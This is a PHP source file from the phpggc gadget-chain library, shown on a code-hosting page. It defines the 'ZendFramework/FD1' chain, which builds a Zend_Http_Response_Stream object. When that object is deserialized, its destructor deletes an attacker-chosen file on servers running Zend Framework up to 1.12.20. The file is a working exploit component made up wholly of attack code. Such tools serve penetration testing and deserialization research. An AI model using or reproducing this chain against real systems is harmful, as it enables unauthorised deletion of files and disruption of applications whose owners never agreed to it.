Codebase list phpggc / f95af40 gadgetchains / ZendFramework / FD / 1 / chain.php
f95af40

Tree @f95af40 (Download .tar.gz)

chain.php @f95af40raw · history · blame

<?php

namespace GadgetChain\ZendFramework;

class FD1 extends \PHPGGC\GadgetChain\FileDelete
{
    public static $version = '? <= 1.12.20';
    public static $vector = '__destruct';
    public static $author = 'mpchadwick';
    public static $parameters = [
        'remote_path'
    ];

    public function generate(array $parameters)
    {
        $file = $parameters['remote_path'];

        return new \Zend_Http_Response_Stream(
            true,
            $file
        );
    }
}